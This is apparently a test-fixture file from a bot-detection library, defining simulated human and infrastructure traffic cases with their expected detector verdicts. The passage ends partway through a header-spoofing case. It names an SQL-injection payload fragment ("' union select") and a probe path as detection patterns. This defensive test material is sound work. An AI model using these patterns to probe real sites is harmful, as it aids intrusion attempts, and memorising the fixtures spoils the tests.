\"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"], [\"Accept-Language\", \"en-GB\"], [\"Accept-Encoding\", \"gzip, deflate, br\"]],\n ),\n ],\n expect: { certain: false, action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\"] },\n }),\n\n // ---------------------------------------------------------------------------\n // Privacy-hardened clients. The population most likely to be misclassified, and\n // the one with the strongest reasons for its configuration.\n // ---------------------------------------------------------------------------\n human({\n id: \"tor-browser\",\n title: \"Tor Browser\",\n category: \"privacy-hardened\",\n provenance: \"Tor Browser ships one frozen Firefox UA for every user on every platform, and normalises Accept-Language to en-US,en;q=0.5\",\n notes: \"The whole design goal is that every Tor user looks identical. It is Firefox-shaped and complete, so it should assess cleanly.\",\n requests: [\n {\n headers: [\n [\"Host\", \"shop.example\"],\n [\"User-Agent\", \"Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0\"],\n [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\"],\n [\"Accept-Language\", \"en-US,en;q=0.5\"],\n [\"Accept-Encoding\", \"gzip, deflate, br\"],\n [\"Connection\", \"keep-alive\"],\n [\"Upgrade-Insecure-Requests\", \"1\"],\n [\"Sec-Fetch-Dest\", \"document\"],\n [\"Sec-Fetch-Mode\", \"navigate\"],\n [\"Sec-Fetch-Site\", \"none\"],\n [\"Sec-Fetch-User\", \"?1\"],\n ],\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { verdict: \"unknown\", maxScore: 0, action: \"allow\" },\n }),\n\n human({\n id: \"firefox-resist-fingerprinting\",\n title: \"Firefox with privacy.resistFingerprinting enabled\",\n category: \"privacy-hardened\",\n provenance: \"resistFingerprinting freezes the UA to a generic Windows Firefox ESR and pins Accept-Language to en-US\",\n requests: [\n {\n headers: [\n [\"Host\", \"shop.example\"],\n [\"User-Agent\", \"Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0\"],\n [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"],\n [\"Accept-Language\", \"en-US, en\"],\n [\"Accept-Encoding\", \"gzip, deflate, br\"],\n [\"Connection\", \"keep-alive\"],\n [\"Upgrade-Insecure-Requests\", \"1\"],\n [\"Sec-Fetch-Dest\", \"document\"],\n [\"Sec-Fetch-Mode\", \"navigate\"],\n [\"Sec-Fetch-Site\", \"none\"],\n [\"Sec-Fetch-User\", \"?1\"],\n ],\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { verdict: \"unknown\", maxScore: 20, action: [\"allow\", \"tag\", \"log\"] },\n }),\n\n human({\n id: \"brave-shields\",\n title: \"Brave with Shields up\",\n category: \"privacy-hardened\",\n provenance: \"Brave presents an unmodified Chrome UA by design and does send Client Hints\",\n requests: [browser(\"chromeWindows\", { acceptLanguage: \"en-US,en;q=0.9\" })],\n expect: { verdict: \"unknown\", maxScore: 0, action: \"allow\" },\n }),\n\n human({\n id: \"ua-spoofing-extension\",\n title: \"A person running a User-Agent spoofing extension\",\n category: \"privacy-hardened\",\n provenance: \"Extensions rewrite navigator.userAgent and the UA header but cannot rewrite Sec-CH-UA, so the two disagree\",\n notes:\n \"A real person, and the library will score them: this is the exact contradiction the client-hints detector looks for. It is why that detector is capped at `strong` and can never block. The corpus records the cost — a challenge — rather than pretending it is zero.\",\n requests: [\n {\n headers: [\n [\"Host\", \"shop.example\"],\n [\"Connection\", \"keep-alive\"],\n [\"sec-ch-ua\", '\"Not(A:Brand\";v=\"99\", \"Google Chrome\";v=\"152\", \"Chromium\";v=\"152\"'],\n [\"sec-ch-ua-mobile\", \"?0\"],\n [\"sec-ch-ua-platform\", '\"Windows\"'],\n [\"Upgrade-Insecure-Requests\", \"1\"],\n [\"User-Agent\", \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Safari/605.1.15\"],\n [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"],\n [\"Sec-Fetch-Site\", \"none\"],\n [\"Sec-Fetch-Mode\", \"navigate\"],\n [\"Sec-Fetch-User\", \"?1\"],\n [\"Sec-Fetch-Dest\", \"document\"],\n [\"Accept-Encoding\", \"gzip, deflate, br\"],\n [\"Accept-Language\", \"en-US,en;q=0.9\"],\n ],\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { certain: false, action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\", \"rate-limit\"] },\n tags: [\"known-cost\"],\n }),\n\n human({\n id: \"cookies-blocked\",\n title: \"Somebody who blocks all cookies, browsing at length\",\n category: \"privacy-hardened\",\n provenance: \"session-integrity reports an actor that never returns any cookie after a dozen requests\",\n notes: \"Blocking cookies is a legitimate choice made by real people. The detector is capped at moderate for exactly this case.\",\n requests: humanPaced(browser(\"chromeWindows\", { kind: \"same-origin-navigate\", referer: \"https://shop.example/\" }), [\n \"/\", \"/products\", \"/products/7\", \"/products/12\", \"/about\", \"/products/31\", \"/search?q=lamp\",\n \"/products/44\", \"/basket\", \"/products/9\", \"/delivery\", \"/products/18\", \"/contact\", \"/products/2\",\n ]),\n expect: { certain: false, action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\", \"rate-limit\"] },\n tags: [\"known-cost\"],\n }),\n\n // ---------------------------------------------------------------------------\n // Assistive technology and text clients. Small populations, high stakes: these\n // are people for whom an alternative route around a block usually does not exist.\n // ---------------------------------------------------------------------------\n human({\n id: \"lynx-text-browser\",\n title: \"Lynx, a text-mode browser\",\n category: \"assistive\",\n provenance: \"Lynx is used with refreshable braille displays and over slow links; it renders no JavaScript at all\",\n notes: \"A JavaScript challenge locks this person out permanently. That is the argument for contactHtml being mandatory.\",\n requests: [\n {\n headers: [\n [\"Host\", \"shop.example\"],\n [\"Accept\", \"text/html, text/plain, text/sgml, text/css, application/xhtml+xml, */*;q=0.01\"],\n [\"Accept-Encoding\", \"gzip, compress, bzip2\"],\n [\"Accept-Language\", \"en\"],\n [\"User-Agent\", \"Lynx/2.9.2 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/3.0.14\"],\n ],\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { certain: false, action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\", \"rate-limit\"] },\n tags: [\"known-cost\", \"accessibility\"],\n }),\n\n human({\n id: \"w3m-text-browser\",\n title: \"w3m, a text-mode browser\",\n category: \"assistive\",\n provenance: \"Common in terminal workflows and on low-bandwidth connections\",\n requests: [\n {\n headers: [\n [\"Host\", \"shop.example\"],\n [\"User-Agent\", \"w3m/0.5.3+git20230121\"],\n [\"Accept\", \"text/html, text/*;q=0.5, image/*, application/*, audio/*, */*;q=0.1\"],\n [\"Accept-Encoding\", \"gzip, deflate, br\"],\n [\"Accept-Language\", \"en;q=1.0\"],\n ],\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { certain: false, action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\", \"rate-limit\"] },\n tags: [\"known-cost\", \"accessibility\"],\n }),\n\n human({\n id: \"screen-reader-firefox\",\n title: \"NVDA driving Firefox\",\n category: \"assistive\",\n provenance: \"A screen reader reads the rendered page; the HTTP request is an ordinary Firefox request\",\n notes: \"There is no header that distinguishes this from any other Firefox. It is here to make that point explicit: assistive technology is invisible at the HTTP layer, and any heuristic claiming to spot it is wrong.\",\n requests: [browser(\"firefoxWindows\")],\n expect: { verdict: \"unknown\", maxScore: 0, action: \"allow\" },\n tags: [\"accessibility\"],\n }),\n\n // ---------------------------------------------------------------------------\n // Old and unusual devices. Disproportionately owned by people who cannot\n // simply buy a newer one.\n // ---------------------------------------------------------------------------\n human({\n id: \"internet-explorer-11\",\n title: \"Internet Explorer 11 on Windows 10\",\n category: \"legacy-client\",\n provenance: \"Still present in government, healthcare and industrial deployments\",\n requests: [\n {\n headers: [\n [\"Accept\", \"text/html, application/xhtml+xml, image/jxr, */*\"],\n [\"Accept-Language\", \"en-GB\"],\n [\"User-Agent\", \"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko\"],\n [\"Accept-Encoding\", \"gzip, deflate\"],\n [\"Host\", \"shop.example\"],\n [\"Connection\", \"Keep-Alive\"],\n ],\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { certain: false, action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\", \"rate-limit\"] },\n notes: \"Note the header order: IE sends Host near the end, which trips the weakest header-order rule.\",\n tags: [\"known-cost\"],\n }),\n\n human({\n id: \"android-4-webview\",\n title: \"A ten-year-old Android tablet\",\n category: \"legacy-client\",\n provenance: \"Android 4.4 stock browser UA\",\n requests: [\n plain(\n \"Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; SM-T230 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",\n [[\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"], [\"Accept-Language\", \"en-GB, en-US\"], [\"Accept-Encoding\", \"gzip, deflate\"]],\n ),\n ],\n expect: { certain: false, action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\", \"rate-limit\"] },\n }),\n\n human({\n id: \"smart-tv-browser\",\n title: \"A smart TV browser\",\n category: \"legacy-client\",\n provenance: \"Tizen browser on a Samsung television\",\n requests: [\n plain(\n \"Mozilla/5.0 (SMART-TV; LINUX; Tizen 7.0) AppleWebKit/537.36 (KHTML, like Gecko) 94.0.4606.31/7.0 TV Safari/537.36\",\n [[\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"], [\"Accept-Language\", \"en-US\"], [\"Accept-Encoding\", \"gzip, deflate\"]],\n ),\n ],\n expect: { certain: false, action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\", \"rate-limit\"] },\n }),\n\n human({\n id: \"playstation-browser\",\n title: \"A games console browser\",\n category: \"legacy-client\",\n provenance: \"PlayStation 5 system browser\",\n requests: [\n plain(\n \"Mozilla/5.0 (PlayStation; PlayStation 5/8.20) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15\",\n [[\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"], [\"Accept-Language\", \"en-GB\"], [\"Accept-Encoding\", \"gzip, deflate, br\"]],\n ),\n ],\n expect: { certain: false, action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\", \"rate-limit\"] },\n }),\n\n // ---------------------------------------------------------------------------\n // Normal browsing shapes. These exercise the behavioural detectors with traffic\n // that must not trigger them.\n // ---------------------------------------------------------------------------\n human({\n id: \"reading-session\",\n title: \"A person reading a shop at human pace\",\n category: \"behaviour\",\n provenance: \"Irregular gaps, repeat visits, a referer chain and a session cookie\",\n notes: \"The revisits matter: a person's distinct-path ratio stays well below one, which is what separates reading from enumerating.\",\n requests: humanPaced(browser(\"chromeWindows\", { kind: \"same-origin-navigate\", cookie: \"sid=a1b2c3; consent=1\", referer: \"https://shop.example/products\" }), [\n \"/\", \"/products\", \"/products/14\", \"/products\", \"/products/9\", \"/products/14\", \"/basket\", \"/products\", \"/products/9\", \"/checkout\",\n ]),\n expect: { verdict: \"unknown\", maxScore: 20, notDetectors: [\"cadence\", \"crawl-breadth\", \"session-integrity\"], action: \"allow\" },\n }),\n\n human({\n id: \"tab-restore-burst\",\n title: \"Restoring twelve pinned tabs at once after a browser restart\",\n category: \"behaviour\",\n provenance: \"A browser reopening a session issues a dozen navigations within a second\",\n notes: \"A burst that looks exactly like a flood, from one person pressing one button. It is why rate is capped at moderate and cannot deny service.\",\n requests: Array.from({ length: 12 }, (_, index) => ({\n ...browser(\"chromeWindows\", { cookie: \"sid=restore-1\" }),\n path: `/products/${index + 1}`,\n atMs: index * 40,\n })),\n expect: { certain: false, action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\", \"rate-limit\"] },\n tags: [\"known-cost\"],\n }),\n\n human({\n id: \"documentation-reader\",\n title: \"A developer clicking through a documentation sidebar\",\n category: \"behaviour\",\n provenance: \"High distinct-path count with almost no revisits — the same shape as a crawler\",\n notes: \"Genuinely indistinguishable from enumeration by path pattern alone, which is why crawl-breadth is only `weak`.\",\n requests: humanPaced(browser(\"firefoxWindows\", { kind: \"same-origin-navigate\", cookie: \"sid=docs-9\", referer: \"https://shop.example/docs\" }), [\n \"/docs/intro\", \"/docs/install\", \"/docs/config\", \"/docs/api/client\", \"/docs/api/server\", \"/docs/api/types\",\n \"/docs/guides/auth\", \"/docs/guides/deploy\", \"/docs/faq\", \"/docs/changelog\", \"/docs/api/errors\", \"/docs/api/events\",\n ]),\n expect: { certain: false, action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\", \"rate-limit\"] },\n tags: [\"known-cost\"],\n }),\n\n human({\n id: \"form-submission\",\n title: \"Submitting a login form\",\n category: \"behaviour\",\n provenance: \"POST with Origin and Referer, Sec-Fetch-Site: same-origin, Sec-Fetch-Mode: navigate\",\n requests: [\n { ...browser(\"chromeWindows\", { kind: \"same-origin-navigate\", cookie: \"sid=login-1\", referer: \"https://shop.example/login\" }), method: \"POST\", path: \"/login\" },\n ],\n expect: { verdict: \"unknown\", maxScore: 0, action: [\"allow\", \"delay\"] },\n }),\n\n human({\n id: \"conditional-revalidation\",\n title: \"A cache revalidation from a returning visitor\",\n category: \"behaviour\",\n provenance: \"Chrome adds If-None-Match and Cache-Control when revisiting a cached page\",\n requests: [withCacheValidators(browser(\"chromeWindows\", { kind: \"navigate\", cookie: \"sid=return-4\" }))],\n expect: { verdict: \"unknown\", maxScore: 0, action: \"allow\" },\n }),\n\n // ---------------------------------------------------------------------------\n // People behind infrastructure that mangles their requests. The site sees the\n // intermediary, not the person, and the person pays for it.\n // ---------------------------------------------------------------------------\n human({\n id: \"corporate-proxy-stripped\",\n title: \"A person behind a corporate proxy that strips Sec-Fetch and Client Hints\",\n category: \"mangled-by-infrastructure\",\n provenance: \"Enterprise TLS-inspecting proxies routinely rebuild requests and drop headers they do not understand\",\n notes: \"Two of the strongest impersonation signals fire on a real employee. Neither may deny service; both are capped below `certain` for this reason.\",\n requests: [\n {\n headers: [\n [\"Host\", \"shop.example\"],\n [\"Connection\", \"keep-alive\"],\n [\"User-Agent\", userAgentOf(\"chromeWindows\")],\n [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"],\n [\"Accept-Encoding\", \"gzip, deflate\"],\n [\"Accept-Language\", \"en-US,en;q=0.9\"],\n [\"Via\", \"1.1 corporate-proxy.internal (squid/6.6)\"],\n [\"X-Forwarded-For\", \"10.14.2.88\"],\n ],\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { certain: false, action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\", \"rate-limit\"] },\n tags: [\"known-cost\"],\n }),\n\n human({\n id: \"carrier-transcoder\",\n title: \"A person on a mobile carrier that transcodes pages\",\n category: \"mangled-by-infrastructure\",\n provenance: \"Some carriers proxy and rewrite requests, adding their own headers and reordering the rest\",\n requests: [\n {\n headers: [\n [\"Host\", \"shop.example\"],\n [\"Accept-Encoding\", \"gzip\"],\n [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"],\n [\"User-Agent\", userAgentOf(\"chromeAndroid\")],\n [\"Accept-Language\", \"en-GB,en;q=0.9\"],\n [\"Via\", \"1.1 wtp-proxy\"],\n [\"X-Forwarded-For\", \"100.64.12.9\"],\n ],\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { certain: false, action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\", \"rate-limit\"] },\n notes: \"Accept-Encoding arrives before Accept — the same ordering python-requests produces. A person, via a carrier.\",\n tags: [\"known-cost\"],\n }),\n\n human({\n id: \"http2-normalised\",\n title: \"A browser over HTTP/2, where header order carries no meaning\",\n category: \"mangled-by-infrastructure\",\n provenance: \"HTTP/2 uses HPACK and does not preserve a meaningful header order\",\n notes:\n \"The header-order detector must stand down entirely rather than read the normalised order as a fingerprint. Note also what is *absent*: HTTP/2 forbids connection-specific headers, so a genuine h2 request has no Connection. Leaving one in while claiming h2 — which an adapter does if it reads the version from a forwarded header rather than from its own socket — manufactures a proven protocol violation for a real browser.\",\n requests: [\n {\n ...browser(\"chromeWindows\"),\n httpVersion: \"2.0\",\n headers: browser(\"chromeWindows\").headers.filter(([name]) => name.toLowerCase() !== \"connection\"),\n },\n ],\n expect: { verdict: \"unknown\", maxScore: 0, notDetectors: [\"header-order\"], action: \"allow\" },\n }),\n\n human({\n id: \"cgnat-shared-address\",\n title: \"Many people behind one carrier-grade NAT address\",\n category: \"mangled-by-infrastructure\",\n provenance: \"CGNAT presents thousands of subscribers as a single address; RFC 6598 reserves 100.64.0.0/10 for it\",\n notes: \"Different devices, different browsers, one address. Under an IP-based actor key this is one very busy 'actor' — which is why identity-rotation ships disabled by default.\",\n requests: [\n { ...browser(\"safariIos\"), ip: \"100.64.3.17\", atMs: 0 },\n { ...browser(\"chromeAndroid\"), ip: \"100.64.3.17\", atMs: 220 },\n { ...browser(\"samsungInternet\"), ip: \"100.64.3.17\", atMs: 480 },\n { ...browser(\"safariIos\"), ip: \"100.64.3.17\", atMs: 700 },\n { ...browser(\"chromeAndroid\"), ip: \"100.64.3.17\", atMs: 910 },\n { ...browser(\"chromeWindows\"), ip: \"100.64.3.17\", atMs: 1_150 },\n ],\n expect: { certain: false, action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\", \"rate-limit\"] },\n tags: [\"known-cost\"],\n }),\n\n // ---------------------------------------------------------------------------\n // People doing the things a probe detector was built to notice.\n //\n // Every path-based signal has a population of real people who ask for the same\n // thing for an ordinary reason, and these are them. Both cases are tagged\n // `known-cost` because both do accumulate some suspicion — the point is the size of\n // it: enough to appear in a dashboard, nowhere near enough to interrupt anybody.\n // ---------------------------------------------------------------------------\n human({\n id: \"wordpress-author-signing-in\",\n title: \"An author signing in to their own WordPress site\",\n category: \"platform-front-door\",\n provenance: \"/wp-login.php is a probe on the sites that do not run WordPress and the front door on the roughly forty per cent that do\",\n notes:\n \"`probe-signature` reports this at `moderate` and says so in its metadata, which is the honest reading: from a single request the library cannot know whether this site runs the platform. Configure the detector's `ignore` list, or the engine's `ignorePaths`, if it does — and note what the cap buys in the meantime, which is that forgetting costs a tag rather than a locked-out author.\",\n requests: [{ ...browser(\"chromeWindows\", { kind: \"same-origin-navigate\", referer: \"https://shop.example/\" }), path: \"/wp-login.php\" }],\n expect: { verdict: \"unknown\", maxScore: 40, action: [\"allow\", \"tag\", \"log\"] },\n tags: [\"known-cost\"],\n }),\n human({\n id: \"developer-searching-for-sql-syntax\",\n title: \"Someone searching a documentation site for SQL syntax\",\n category: \"platform-front-door\",\n provenance: \"A search box on a site whose subject is databases, with the phrase a payload detector looks for typed into it\",\n notes:\n \"The reason the payload tiers are split by punctuation. `union select` typed into a search box is a person reading about SQL; `' union select` with the quote that makes it execute is not. Without that split, the population penalised most is the one reading documentation about the attack.\",\n requests: [{ ...browser(\"chromeWindows\", { kind: \"same-origin-navigate\", referer: \"https://shop.example/docs\" }), path: \"/search?q=union+select+examples\" }],\n // `rate-limit` is in the list because `protect-data` rate-limits search endpoints\n // for everybody, which is a policy decision about the path rather than a judgement\n // about this client. What the case asserts is the score.\n expect: { verdict: \"unknown\", maxScore: 40, action: [\"allow\", \"tag\", \"log\", \"rate-limit\"] },\n tags: [\"known-cost\"],\n }),\n human({\n id: \"returning-reader-revalidating\",\n title: \"A returning reader whose browser still holds the page\",\n category: \"ordinary-browsing\",\n provenance: \"A revisit to a page the browser cached, sending the validators it was given\",\n notes:\n \"The evidence here points the other way. A client that revalidates a cached copy has been here before and kept what it was served, which is a property of a browsing session rather than of a fetch loop — `browsing-coherence` reports it as human-pointing, and the engine discounts any suspicion the behavioural detectors raise.\",\n requests: [\n { ...browser(\"chromeWindows\", { kind: \"navigate\", cookie: \"session=8f2c1b; consent=1\" }), path: \"/guides/shipping\", atMs: 0 },\n { ...browser(\"chromeWindows\", { kind: \"same-origin-navigate\", cookie: \"session=8f2c1b; consent=1\", referer: \"https://shop.example/guides/shipping\", revalidate: { etag: 'W/\"41d-19a0b2f3c11\"' } }), path: \"/guides/returns\", atMs: 9_400 },\n ],\n expect: { verdict: [\"unknown\", \"human\"], maxScore: 20, detectors: [\"browsing-coherence\"], action: [\"allow\", \"tag\", \"log\"] },\n }),\n];\n","import { browser, plain } from \"./headers.js\";\nimport { bot, human } from \"./schema.js\";\nimport type { TrafficCase } from \"./schema.js\";\n\n/**\n * Traffic from the machinery around your application.\n *\n * Load balancer probes, container orchestration health checks, your own mobile app,\n * your own server-side renderer, webhooks arriving from a payment processor, a\n * browser prefetching a page a person has not asked for yet. None of it is a person,\n * almost none of it is unwelcome, and most of it will be classified as automation\n * because that is exactly what it is.\n *\n * The lesson this section is here to teach is that **the answer is usually the\n * allowlist or `ignorePaths`, not a detector**. A health check from your own load\n * balancer should never reach detection at all: it costs work, it inflates every\n * per-actor counter with perfectly regular traffic, and the one thing you must never\n * do is let a bot policy decide whether your orchestrator thinks you are alive.\n */\n\nexport const INFRASTRUCTURE_CASES: TrafficCase[] = [\n // ---------------------------------------------------------------------------\n // Probes. These belong in ignorePaths.\n // ---------------------------------------------------------------------------\n bot({\n id: \"kubernetes-probe\",\n title: \"A Kubernetes liveness probe\",\n audience: \"infrastructure\",\n category: \"health-probe\",\n provenance: \"kubelet sends kube-probe/<version> with no Accept-Language and no cookies, on a perfect interval\",\n notes:\n \"Machine-regular by design, from a fixed address, forever. Put the path in `ignorePaths`: letting a bot policy decide whether your orchestrator believes the pod is healthy is a way to turn a false positive into a restart loop.\",\n requests: Array.from({ length: 10 }, (_, index) => ({ ...plain(\"kube-probe/1.31\"), path: \"/healthz\", atMs: index * 10_000, ip: \"10.42.0.1\" })),\n expect: { neverAction: [\"block\", \"drop\", \"redirect\"] },\n tags: [\"allowlist-candidate\"],\n }),\n bot({\n id: \"elb-health-checker\",\n title: \"An AWS load balancer health check\",\n audience: \"infrastructure\",\n category: \"health-probe\",\n provenance: \"ELB-HealthChecker/2.0\",\n requests: Array.from({ length: 8 }, (_, index) => ({ ...plain(\"ELB-HealthChecker/2.0\"), path: \"/healthz\", atMs: index * 15_000, ip: \"10.0.3.44\" })),\n expect: { neverAction: [\"block\", \"drop\", \"redirect\"] },\n tags: [\"allowlist-candidate\"],\n }),\n bot({\n id: \"prometheus-blackbox\",\n title: \"A Prometheus blackbox exporter probe\",\n audience: \"infrastructure\",\n category: \"health-probe\",\n provenance: \"Blackbox exporter identifies itself and runs on a scrape interval\",\n requests: Array.from({ length: 6 }, (_, index) => ({ ...plain(\"Prometheus/2.54.1 blackbox_exporter/0.25.0\"), path: \"/metrics\", atMs: index * 30_000, ip: \"10.0.9.12\" })),\n expect: { neverAction: [\"block\", \"drop\", \"redirect\"] },\n tags: [\"allowlist-candidate\"],\n }),\n\n // ---------------------------------------------------------------------------\n // Your own software.\n // ---------------------------------------------------------------------------\n bot({\n id: \"first-party-mobile-app\",\n title: \"Your own iOS app calling your own API\",\n audience: \"infrastructure\",\n category: \"first-party-client\",\n provenance: \"A native app using URLSession identifies itself as the app, not as a browser\",\n notes:\n \"Automation by every measure the library has, and a paying customer holding a phone. Nothing in a request distinguishes the two — which is what `isHuman` is for: your application knows this session is authenticated, and the library does not.\",\n requests: [\n {\n headers: [\n [\"Host\", \"api.shop.example\"],\n [\"Accept\", \"application/json\"],\n [\"Authorization\", \"Bearer redacted\"],\n [\"User-Agent\", \"ShopApp/4.12.0 (com.example.shop; build:4120; iOS 18.5.0) Alamofire/5.9.1\"],\n [\"Accept-Language\", \"en-GB;q=1.0\"],\n [\"Accept-Encoding\", \"br;q=1.0, gzip;q=0.9, deflate;q=0.8\"],\n ],\n path: \"/v1/basket\",\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { neverAction: [\"block\", \"drop\", \"redirect\"] },\n tags: [\"allowlist-candidate\"],\n }),\n bot({\n id: \"server-side-render\",\n title: \"Your own renderer fetching your own API\",\n audience: \"infrastructure\",\n category: \"first-party-client\",\n provenance: \"A Next.js server component calling an internal endpoint with undici\",\n requests: [\n {\n headers: [[\"Host\", \"api.shop.example\"], [\"Accept\", \"application/json\"], [\"User-Agent\", \"undici\"], [\"Accept-Encoding\", \"gzip, deflate\"]],\n path: \"/v1/products\",\n protocol: \"https\",\n httpVersion: \"1.1\",\n ip: \"10.0.5.20\",\n },\n ],\n expect: { neverAction: [\"block\", \"drop\", \"redirect\"] },\n tags: [\"allowlist-candidate\"],\n }),\n bot({\n id: \"stripe-webhook\",\n title: \"A payment webhook arriving from Stripe\",\n audience: \"infrastructure\",\n category: \"webhook\",\n provenance: \"Stripe posts events with its own User-Agent and a signature header\",\n notes:\n \"Blocking this loses orders silently, and the retry backoff means you find out hours later. Webhook endpoints belong in `ignorePaths` — they authenticate themselves cryptographically and have no use for bot detection.\",\n requests: [\n {\n headers: [\n [\"Host\", \"shop.example\"],\n [\"Accept\", \"*/*; q=0.5, application/xml\"],\n [\"Content-Type\", \"application/json; charset=utf-8\"],\n [\"Stripe-Signature\", \"t=1756544400,v1=redacted\"],\n [\"User-Agent\", \"Stripe/1.0 (+https://stripe.com/docs/webhooks)\"],\n ],\n method: \"POST\",\n path: \"/webhooks/stripe\",\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { neverAction: [\"block\", \"drop\", \"redirect\"] },\n tags: [\"allowlist-candidate\"],\n }),\n bot({\n id: \"github-webhook\",\n title: \"A GitHub webhook\",\n audience: \"infrastructure\",\n category: \"webhook\",\n provenance: \"GitHub-Hookshot/<sha>\",\n requests: [\n {\n headers: [[\"Host\", \"shop.example\"], [\"User-Agent\", \"GitHub-Hookshot/f1a2b3c\"], [\"Content-Type\", \"application/json\"], [\"X-GitHub-Event\", \"push\"], [\"Accept\", \"*/*\"]],\n method: \"POST\",\n path: \"/webhooks/github\",\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { neverAction: [\"block\", \"drop\", \"redirect\"] },\n tags: [\"allowlist-candidate\"],\n }),\n\n // ---------------------------------------------------------------------------\n // Browser-initiated requests that no person asked for.\n // ---------------------------------------------------------------------------\n human({\n id: \"speculation-rules-prefetch\",\n title: \"A browser prefetching a page the person has not clicked yet\",\n category: \"browser-initiated\",\n provenance: \"Speculation Rules mark prefetches with Sec-Purpose: prefetch\",\n notes:\n \"A real browser, a real person, and a request they never made — issued speculatively while they hover a link. It arrives with no Sec-Fetch-User, because no user gesture triggered it. Reading that absence as evidence would penalise the person for their browser being fast.\",\n requests: [\n {\n ...browser(\"chromeWindows\", { kind: \"same-origin-navigate\", referer: \"https://shop.example/products\" }),\n headers: [\n ...browser(\"chromeWindows\", { kind: \"same-origin-navigate\", referer: \"https://shop.example/products\" }).headers.filter(([name]) => name !== \"Sec-Fetch-User\"),\n [\"Sec-Purpose\", \"prefetch\"],\n [\"Purpose\", \"prefetch\"],\n ],\n path: \"/products/88\",\n },\n ],\n expect: { certain: false, neverAction: [\"block\", \"drop\", \"redirect\"] },\n }),\n human({\n id: \"service-worker-fetch\",\n title: \"A service worker refreshing cached content in the background\",\n category: \"browser-initiated\",\n provenance: \"Sec-Fetch-Dest: empty with Sec-Fetch-Mode: cors, issued with no tab in the foreground\",\n requests: [{ ...browser(\"chromeWindows\", { kind: \"xhr\" }), path: \"/api/catalog.json\" }],\n expect: { verdict: \"unknown\", maxScore: 20, neverAction: [\"block\", \"drop\", \"redirect\"] },\n }),\n\n // ---------------------------------------------------------------------------\n // People arriving from address space that looks automated.\n // ---------------------------------------------------------------------------\n human({\n id: \"consumer-vpn-exit\",\n title: \"A person browsing through a consumer VPN\",\n category: \"datacenter-human\",\n provenance: \"VPN exit nodes live in hosting-provider address space, which is also where scrapers live\",\n notes:\n \"A perfect browser request from an address that any datacenter range list will flag. This is why `ip-intelligence` caps datacenter matches at `moderate`: the population using a VPN is overwhelmingly people, and disproportionately people with reasons.\",\n requests: [{ ...browser(\"chromeMac\"), ip: \"192.0.2.150\" }],\n expect: { certain: false, neverAction: [\"block\", \"drop\", \"redirect\"] },\n tags: [\"known-cost\"],\n }),\n human({\n id: \"icloud-private-relay\",\n title: \"A person on iCloud Private Relay\",\n category: \"datacenter-human\",\n provenance: \"Private Relay egresses from Apple's partner networks; the address never belongs to the subscriber\",\n requests: [{ ...browser(\"safariIos\"), ip: \"192.0.2.151\" }],\n expect: { certain: false, neverAction: [\"block\", \"drop\", \"redirect\"] },\n tags: [\"known-cost\"],\n }),\n human({\n id: \"corporate-egress-shared\",\n title: \"An office of two hundred people behind one address\",\n category: \"datacenter-human\",\n provenance: \"A single corporate egress address carrying an entire building's traffic\",\n notes: \"Rate counting sees one extraordinarily busy actor. It is two hundred ordinary ones.\",\n requests: Array.from({ length: 45 }, (_, index) => ({\n ...browser(index % 3 === 0 ? \"chromeWindows\" : index % 3 === 1 ? \"edgeWindows\" : \"firefoxWindows\"),\n path: `/products/${(index % 12) + 1}`,\n ip: \"192.0.2.200\",\n atMs: index * 180,\n })),\n expect: { certain: false, neverAction: [\"block\", \"drop\", \"redirect\"] },\n tags: [\"known-cost\"],\n }),\n\n // ---------------------------------------------------------------------------\n // Forwarding headers. The highest-consequence configuration in the library.\n // ---------------------------------------------------------------------------\n bot({\n id: \"xff-spoof-attempt\",\n title: \"A client prepending a 